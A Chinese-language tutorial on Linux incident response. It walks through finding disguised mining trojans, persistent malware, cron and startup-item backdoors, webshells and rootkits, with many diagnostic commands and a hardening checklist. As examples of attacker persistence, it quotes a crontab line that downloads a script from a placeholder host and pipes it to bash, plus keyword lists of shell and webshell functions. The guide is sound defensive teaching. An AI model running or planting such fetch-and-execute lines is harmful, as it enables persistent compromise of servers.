1. 应急响应场景下的Linux入侵排查整体思路1.1 为什么Linux入侵排查是应急响应的必修课干过几年安全运维的人都有一个共识Windows服务器中招大多数时候你还能靠杀软、任务管理器、注册表这些图形化工具快速定位问题但一旦Linux服务器被入侵很多刚入行的兄弟就懵了——没有图形界面日志分散在十几个目录里进程名字还能被伪装成[kworker/0:1]这种内核线程的样子稍不留神就漏掉了关键线索。Linux入侵排查这件事本质上是一场和攻击者争夺“信息解释权”的博弈。攻击者进来之后做的第一件事往往不是马上搞破坏而是想方设法抹掉自己的痕迹清历史命令、改文件时间戳、替换系统命令、植入隐藏进程。我们排查的过程就是把这些被篡改、被隐藏、被伪装的信息一点点还原出来拼出完整的攻击链路。这套东西适用的场景非常明确服务器出现异常外联、CPU莫名跑满、网站被挂马、收到云厂商的告警短信、或者甲方爸爸半夜打电话说“我们机器好像被人动了”。不管你是安全运维、渗透测试工程师还是刚转行做应急响应的小白这套排查思路都能直接拿来用。它不依赖任何商业设备纯靠Linux自带的命令和几个开源小工具就能跑通这也是为什么它在CTF应急响应赛题和真实企业环境中都被反复使用。1.2 排查的核心逻辑从“异常现象”倒推“攻击行为”很多人排查时容易犯一个错误上来就把网上那套“排查清单”从头到尾跑一遍top看一眼、ps看一眼、netstat看一眼然后就没思路了。这种打法在简单场景下能蒙对但遇到稍微复杂一点的对手就抓瞎。正确的思路应该是以异常现象为起点反向推导攻击者做了什么。举个实际例子你发现服务器CPU占用率长期在90%以上这是一个“异常现象”。接下来你要问自己几个问题——是哪个进程占用的这个进程的可执行文件在哪它是怎么被启动的启动它的父进程是谁它有没有对外发起网络连接顺着这条线往下挖往往就能挖出一个挖矿木马或者不死马。我把这套逻辑总结成一个简单的排查模型你可以记一下异常现象可能的攻击行为优先排查方向CPU/内存异常占用挖矿木马、不死马进程、计划任务、启动项异常外联连接反弹Shell、C2通信网络连接、进程、日志网站被挂马Webshell、文件篡改Web目录、中间件日志、文件时间账号异常登录暴力破解、账号劫持登录日志、用户列表、SSH配置文件莫名消失/出现隐藏文件、Rootkit文件系统、内核模块、命令完整性这张表不是让你死记硬背而是帮你建立“现象到行为”的映射关系。真正排查的时候现象可能有好几个同时出现这时候就要按“先网络后进程、先进程后文件、先文件后日志”的顺序层层递进。1.3 排查前的准备工作别让取证变成破坏现场这一点我必须重点强调因为踩过太多次坑了。很多新手一发现服务器异常第一反应是“赶紧重启一下试试”或者直接kill -9把可疑进程干掉。这两个操作在应急响应里都是大忌。重启会清空内存中的信息很多高级木马是纯内存运行的文件系统里根本找不到样本你一重启证据就没了。直接kill进程会触发木马的守护机制不死马之所以叫不死马就是因为它有守护进程或者计划任务在盯着你杀掉一个它马上拉起一个新的而且还会因为你的操作暴露自己让攻击者知道有人在排查。正确的做法是先隔离、再取证、后清除。如果条件允许先把服务器从网络里摘出来拔网线或者改安全组防止攻击者继续操作然后对关键信息做快照或者备份比如/proc目录下的进程信息、/var/log下的日志、当前网络连接状态最后才是动手清除。提示如果服务器是云主机优先用云平台自带的“创建快照”功能做一份完整备份这比你在系统里手动拷贝文件靠谱得多因为快照是块级别的连被删除的文件都有可能恢复出来。2. 核心排查点逐一拆解与实操命令2.1 进程排查揪出伪装成“正常进程”的木马进程排查是Linux入侵排查的第一站也是最容易出成果的地方。但这里有个坑ps aux看到的进程名是可以被伪造的。攻击者可以把木马进程名改成sshd、nginx甚至[kthreadd]你不仔细看根本发现不了。我一般用组合拳来查进程分三步走。第一步用ps看全局重点关注几个维度ps aux --sort-%cpu | head -20 ps aux --sort-%mem | head -20这两条命令分别按CPU和内存占用排序取前20个。为什么要看前20而不是前5因为有些木马很鸡贼它故意把CPU占用控制在30%左右不触发告警但累积起来就很可观。前20个足够覆盖大多数异常情况。第二步看进程的完整路径和启动参数。ps aux的输出里COMMAND列如果被截断了用ps -ef配合grep看全ps -ef | grep -v \[ | awk {print $2, $8, $9, $10} | sort -u这条命令过滤掉内核线程带方括号的把PID、可执行文件路径、参数都列出来。重点看那些路径奇怪的比如/tmp/xxx、/dev/shm/xxx、/var/tmp/xxx这些目录是攻击者最喜欢放木马的地方因为权限宽松、不容易被注意到。第三步用lsof看进程打开的文件和网络连接lsof -p PID lsof -i -n -P | grep ESTABLISHEDlsof -p能看到某个进程打开了哪些文件、加载了哪些动态库。如果发现一个进程加载了/tmp下的.so文件那基本可以确定有问题。lsof -i看网络连接重点关注那些连到境外IP或者非常规端口的ESTABLISHED连接。这里分享一个实战技巧用/proc目录交叉验证进程信息。ps命令本身也可能被替换但/proc是内核提供的虚拟文件系统攻击者很难篡改。你可以直接读/proc/PID/exe看进程的真实可执行文件ls -la /proc/PID/exe cat /proc/PID/cmdline | tr \0 如果/proc/PID/exe指向的文件已经被删除显示(deleted)那这个进程百分之百有问题——正常的系统进程不会出现这种情况。2.2 网络连接排查找到木马的“对外通道”木马要发挥作用必须和外界通信。不管是反弹Shell、C2心跳还是挖矿矿池连接都会在网络上留下痕迹。网络排查的核心就是找到“谁在连、连到哪、连了多久”。先看当前所有网络连接netstat -antp | grep ESTABLISHED ss -antp | grep ESTABLISHEDnetstat和ss功能类似ss更快更现代但有些老系统上netstat更全。两个都跑一下互相印证。重点看两类连接一是连到非常规端口的比如连到某个IP的4444、5555、6666端口二是连到境外IP的。怎么判断IP是不是境外可以用whois或者在线IP归属地查询但应急响应现场往往没网这时候可以看IP段。一般来说国内云厂商的IP段比较固定如果你看到一个连接连到某个完全陌生的IP段而且端口很奇怪就要警惕了。再看监听端口netstat -anlp | grep LISTEN ss -anlp | grep LISTEN监听端口里重点关注那些绑定在0.0.0.0上的非标准端口。比如一个正常的Web服务器监听80和443就够了如果发现它还监听了8080、8888、9001这种端口就要查一下是哪个进程在监听。这里有个细节有些木马会绑定在127.0.0.1上只允许本地连接。这种木马通常是配合SSRF漏洞或者本地提权用的从外部扫端口扫不出来但netstat能看到。所以排查时不要只盯着0.0.0.0127.0.0.1也要看。2.3 计划任务排查不死马的“续命机制”不死马之所以不死核心就在于它有自动拉起机制。最常见的两种一是计划任务crontab二是守护进程。守护进程我们前面讲进程排查时已经覆盖了这里重点说计划任务。系统级的计划任务在/etc/crontab和/etc/cron.d/目录下用户级的在/var/spool/cron/目录下。排查时这几个地方都要看cat /etc/crontab ls -la /etc/cron.d/ ls -la /var/spool/cron/ crontab -l看计划任务时重点关注两类一是执行频率特别高的比如每分钟执行一次二是执行的命令里包含wget、curl、bash -i、/dev/tcp这些敏感操作的。我遇到过一种很隐蔽的写法攻击者把恶意命令藏在计划任务的环境变量里* * * * * root . /etc/cron.d/.hidden /bin/bash /tmp/.x这种写法你光看命令部分觉得没问题但. /etc/cron.d/.hidden这个文件里定义了恶意变量。所以排查计划任务时不仅要看命令本身还要看它引用的文件。还有一个地方容易被忽略/etc/cron.d/目录下的文件名如果以.开头ls默认是不显示的要用ls -la才能看到。攻击者经常用这种隐藏文件来藏计划任务。2.4 启动项与服务排查开机自启的“后门”除了计划任务攻击者还喜欢把木马做成系统服务这样每次开机都会自动运行。排查启动项主要看这几个地方systemctl list-unit-files --typeservice | grep enabled ls -la /etc/init.d/ ls -la /etc/rc.d/rc*.d/ chkconfig --listsystemctl是systemd系统上的标准工具chkconfig是SysVinit系统上的。看服务列表时重点关注那些名字很奇怪的服务比如dbus-org.freedesktop.xxx伪装成系统服务、network-helper伪装成网络服务这种。除了服务还有几个开机自启的地方也要看/etc/rc.local很多老系统上这个文件里的命令会在开机时执行/etc/profile和/etc/profile.d/登录时执行攻击者可能在这里加反弹Shell~/.bashrc和~/.bash_profile用户登录时执行/etc/ld.so.preload动态链接库预加载这个后面讲Rootkit时细说2.5 文件与目录排查找到被篡改的“证据”文件排查是工作量最大的一块因为Linux系统里文件太多了你不可能一个个看。我的经验是按时间、按权限、按内容三个维度来筛。按时间筛就是找最近被修改过的文件find / -mtime -7 -type f 2/dev/null | grep -v ^/proc | grep -v ^/sys这条命令找7天内被修改过的文件。为什么是7天因为大多数入侵发生在最近一周内时间再往前推误报太多。如果你知道大概的入侵时间窗口可以把-7改成更精确的范围比如-mtime -1找24小时内的。按权限筛就是找那些权限异常的文件find / -perm -4000 -type f 2/dev/null find / -perm -2000 -type f 2/dev/null-perm -4000是找SUID文件-perm -2000是找SGID文件。这两个权限意味着普通用户执行这些文件时会以文件所有者的权限运行。攻击者经常利用SUID提权所以如果发现某个不常见的文件有SUID权限就要重点查。按内容筛就是搜文件内容里的敏感关键词grep -r eval( /var/www/html/ 2/dev/null grep -r base64_decode /var/www/html/ 2/dev/null grep -r system( /var/www/html/ 2/dev/null这几条命令是查Webshell的经典操作。eval、base64_decode、system这些函数在正常业务代码里很少出现一旦出现就要人工确认。3. 完整实操流程从发现异常到定位木马3.1 场景设定与初始现象假设你收到一条告警某台Linux服务器CPU使用率持续超过90%已经持续了2个小时。你登录上去准备开始排查。第一步先看整体负载uptime top -bn1 | head -20uptime的输出里load average三个数字分别代表1分钟、5分钟、15分钟的平均负载。如果三个数字都很高说明负载是持续性的不是突发流量导致的。top -bn1是批处理模式跑一次top取前20行。你会看到类似这样的输出PID USER PR NI VIRT RES SHR S %CPU %MEM TIME COMMAND 12345 root 20 0 500000 80000 5000 R 95.0 2.0 120:30.45 kworker/0:1注意看这个进程名叫kworker/0:1看起来像内核线程。但内核线程的CPU占用通常不会这么高而且内核线程的COMMAND列一般带方括号。这个没有方括号说明它是个用户态进程只是把名字改成了内核线程的样子。3.2 定位可疑进程的真实身份现在我们知道PID是12345接下来要查它的真实身份ls -la /proc/12345/exe cat /proc/12345/cmdline | tr \0 ls -la /proc/12345/cwd/proc/12345/exe指向进程的可执行文件。如果输出是/tmp/.x或者/dev/shm/.y这种路径基本可以确定是木马。cmdline是启动命令cwd是进程的工作目录这两个信息能帮你还原攻击者的操作路径。再看这个进程的网络连接lsof -p 12345 -i -n -P netstat -antp | grep 12345如果发现它连到了某个境外IP的3333端口门罗币矿池常用端口那这就是一个挖矿木马。3.3 追溯木马的启动来源找到木马进程后下一步是搞清楚它是怎么启动的。看父进程ps -ef | grep 12345 cat /proc/12345/status | grep PPid假设父进程PID是1说明它是被init或者systemd直接拉起的那就要去查服务列表和计划任务。假设父进程是另一个可疑进程那就继续往上追直到追到源头。同时检查计划任务crontab -l cat /etc/crontab ls -la /etc/cron.d/ ls -la /var/spool/cron/如果发现类似这样的计划任务* * * * * root curl -s http://xxx.xxx.xxx/xx.sh | bash那这就是木马的自动拉起机制。攻击者通过这个计划任务每分钟从远程服务器下载脚本并执行即使你杀掉了木马进程下一分钟它又会重新下载运行。3.4 检查文件系统层面的痕迹进程和计划任务清理完之后还要检查文件系统里有没有留下其他后门find / -name *.sh -mtime -7 2/dev/null | grep -v ^/proc | grep -v ^/sys find /tmp /dev/shm /var/tmp -type f -mtime -7 2/dev/null ls -la /root/.ssh/ cat /root/.ssh/authorized_keys/root/.ssh/authorized_keys这个文件要重点看。攻击者拿到root权限后经常往里面写自己的公钥这样即使你改了密码他还能用密钥登录。如果发现里面有不认识的公钥直接删掉。还要检查系统命令有没有被替换rpm -Va --nofiles --nodigest debsums -crpm -Va是RPM系系统上校验所有已安装包的文件完整性debsums是Debian系上的对应工具。如果输出里出现5表示MD5校验失败或者S表示文件大小变化说明这个文件被修改过。重点关注/bin/、/sbin/、/usr/bin/、/usr/sbin/下的命令。3.5 日志分析还原攻击时间线日志是还原攻击时间线最可靠的依据。Linux上主要的日志有日志文件记录内容排查重点/var/log/auth.log认证相关SSH登录、sudo操作/var/log/secure认证相关RHEL系同上/var/log/syslog系统日志服务启动、内核消息/var/log/messages系统日志RHEL系同上/var/log/cron计划任务cron执行记录/var/log/nginx/access.logWeb访问Webshell访问、扫描行为/var/log/apache2/access.logWeb访问同上看认证日志时重点关注几个模式grep Failed password /var/log/auth.log | awk {print $(NF-3)} | sort | uniq -c | sort -rn grep Accepted password /var/log/auth.log grep Accepted publickey /var/log/auth.log第一条命令统计失败登录的来源IP如果某个IP失败了几千次那基本就是暴力破解。第二条和第三条看成功登录的记录重点关注非工作时间、非办公IP的登录。看Web日志时重点找Webshell的访问痕迹grep -E eval|base64|system|passthru|shell_exec /var/log/nginx/access.log awk {print $1} /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20第一条命令搜日志里包含敏感函数名的请求第二条统计访问量最大的IP。如果某个IP访问量异常大而且请求的URL很奇怪就要重点分析。4. 常见问题与排查技巧实录4.1 木马进程杀不掉怎么办这是新手最常遇到的问题kill -9执行了进程也消失了但过几秒钟又出现了。原因就是前面说的守护机制。正确的处理顺序是先找到并禁用计划任务crontab -e删掉恶意条目或者直接注释掉再找到并停止守护进程systemctl stop xxx或者kill掉守护进程最后才杀木马主进程删除木马文件注意有些木马文件有i属性需要先chattr -i如果木马文件删不掉提示“Operation not permitted”用lsattr看一下文件属性lsattr /tmp/.x chattr -i /tmp/.x rm -f /tmp/.xi属性表示文件不可修改、不可删除a属性表示只能追加不能删除。这两个属性是攻击者常用的防删除手段。4.2 系统命令被替换了怎么排查如果攻击者替换了ps、netstat、ls这些命令你用它们看到的结果就是假的。这时候要用静态编译的工具或者**直接读/proc**来交叉验证。一个简单的方法是看命令的文件大小和修改时间ls -la /bin/ps /bin/netstat /usr/bin/ls stat /bin/ps正常的系统命令修改时间应该是系统安装日期大小也是固定的。如果发现某个命令的修改时间是最近几天大小也和正常的不一样那就要警惕了。更可靠的方法是用包管理器校验rpm -Vf /bin/ps dpkg -V coreutils如果输出里有5或者S说明文件被改过。这时候可以从另一台干净的机器上拷贝对应的命令过来或者用busybox一个集成了常用命令的静态编译工具来替代。4.3 如何发现隐藏进程和隐藏文件高级一点的木马会用Rootkit技术来隐藏自己。常见的隐藏手段有LKM Rootkit通过加载内核模块来hook系统调用隐藏进程、文件、网络连接用户态Rootkit通过替换ps、ls、netstat等命令来隐藏/etc/ld.so.preload通过预加载恶意动态库来hook函数排查LKM Rootkit可以看已加载的内核模块lsmod cat /proc/modules对比lsmod的输出和/lib/modules/$(uname -r)/下的模块文件如果发现某个模块在lsmod里有但文件系统里找不到那就有问题。排查/etc/ld.so.preloadcat /etc/ld.so.preload这个文件正常情况下应该是空的或者不存在。如果里面有内容指向某个.so文件那这个.so就是用来hook系统调用的恶意库。排查隐藏文件可以用find配合-inum参数find / -inum inode号 2/dev/null有些Rootkit会通过修改目录项来隐藏文件但inode号是改不了的。如果你怀疑某个文件被隐藏了可以先通过其他方式拿到它的inode号再用find -inum找出来。4.4 排查速查表我把常用的排查命令整理成一张表方便你现场快速查阅排查目标命令说明高CPU进程ps aux --sort-%cpu | head -20按CPU排序高内存进程ps aux --sort-%mem | head -20按内存排序进程真实路径ls -la /proc/PID/exe读proc验证网络连接ss -antp | grep ESTABLISHED看已建立连接监听端口ss -anlp | grep LISTEN看监听端口计划任务crontab -l; cat /etc/crontab用户级系统级系统服务systemctl list-unit-files --typeservice看启用服务SUID文件find / -perm -4000 -type f 2/dev/null提权排查最近修改文件find / -mtime -7 -type f 2/dev/null时间线排查SSH公钥cat /root/.ssh/authorized_keys后门排查命令完整性rpm -Va --nofiles --nodigest文件校验登录日志grep Accepted /var/log/auth.log登录排查失败登录grep Failed /var/log/auth.log爆破排查预加载库cat /etc/ld.so.preloadRootkit排查内核模块lsmodRootkit排查4.5 几个容易踩的坑第一个坑只看ps不看/proc。前面反复强调了ps可能被替换/proc是内核提供的更可靠。养成习惯看到可疑进程就去/proc/PID/下交叉验证。第二个坑忽略/dev/shm和/run。这两个是tmpfs文件系统内容在内存里重启就没了。攻击者很喜欢把木马放这里因为不占磁盘空间而且很多排查脚本不会扫这两个目录。排查时记得加上ls -la /dev/shm/ ls -la /run/第三个坑只杀进程不删文件。你杀掉进程后如果木马文件还在计划任务还在下次它还会被拉起来。正确的顺序是禁用计划任务→停止守护进程→杀主进程→删文件→检查启动项。第四个坑不记录排查过程。应急响应不仅是解决问题还要输出报告。排查时随手记录你执行了哪些命令、发现了什么、做了什么处理这些记录在写报告时非常有用。我一般会开一个script会话把所有操作都录下来script -a /tmp/ir_$(date %Y%m%d_%H%M%S).log这样排查结束后直接把这个日志文件附在报告里既专业又省事。第五个坑清理完不验证。清理完木马后不要急着收工。再跑一遍排查命令确认没有残留观察一段时间确认CPU、网络都恢复正常检查日志确认没有新的异常登录。我一般会观察至少24小时确认没问题才结单。5. 从排查到加固让下一次入侵更难发生5.1 排查后的加固清单应急响应做完事情只完成了一半。如果不做加固同样的漏洞下次还会被利用。我一般会按这个清单过一遍改密码所有系统账号的密码全部重置尤其是root和运维账号清公钥检查所有用户的~/.ssh/authorized_keys删掉不认识的公钥关端口用firewalld或者iptables关掉不必要的端口只保留业务需要的禁root登录修改/etc/ssh/sshd_config设置PermitRootLogin no改SSH端口把默认的22端口改成其他端口减少被扫描的概率装fail2ban自动封禁暴力破解的IP开审计用auditd记录关键文件的访问和修改打补丁更新系统和中间件到最新版本修复已知漏洞5.2 日常巡检建议与其等出事了再排查不如平时做好巡检。我建议至少每周做一次基础巡检重点看这几项# 检查异常登录 last -20 lastb -20 # 检查异常进程 ps aux --sort-%cpu | head -10 # 检查异常连接 ss -antp | grep ESTABLISHED # 检查计划任务 crontab -l ls -la /etc/cron.d/ # 检查最近修改的文件 find /etc /bin /sbin /usr/bin /usr/sbin -mtime -7 -type f 2/dev/null这几条命令跑下来也就一两分钟但能发现大部分常见问题。养成习惯之后你对系统的“正常状态”会有感觉一旦有异常第一时间就能察觉。5.3 关于不死马的一点个人体会不死马是Linux入侵排查里比较棘手的一类因为它有自动拉起机制你单纯杀进程是没用的。我处理过几次不死马总结下来最关键的是找到它的所有拉起入口。常见的有crontab计划任务systemd服务/etc/rc.local/etc/profile.d/下的脚本守护进程其他木马进程的监控我的做法是先把所有可疑的拉起入口全部禁用不是删除是禁用保留证据然后再杀主进程最后统一清理文件。这样即使漏了一个入口也不会导致木马立刻复活给你争取到排查的时间。还有一点不死马的文件往往有i属性或者被chattr保护删除前先lsattr看一下该去掉的属性去掉。如果文件在/dev/shm或者/run这种tmpfs里直接rm就行不用管属性。最后说一个我踩过的坑有一次清理完不死马以为万事大吉了结果第二天又出现了。后来仔细排查发现攻击者在/etc/profile.d/下放了一个脚本每次有用户登录就会执行重新下载木马。这个目录平时很容易被忽略因为大家查启动项时习惯看/etc/rc.local和crontab很少会想到profile.d。从那以后我排查启动项时一定会把/etc/profile、/etc/profile.d/、/etc/bashrc、~/.bashrc这几个文件都过一遍。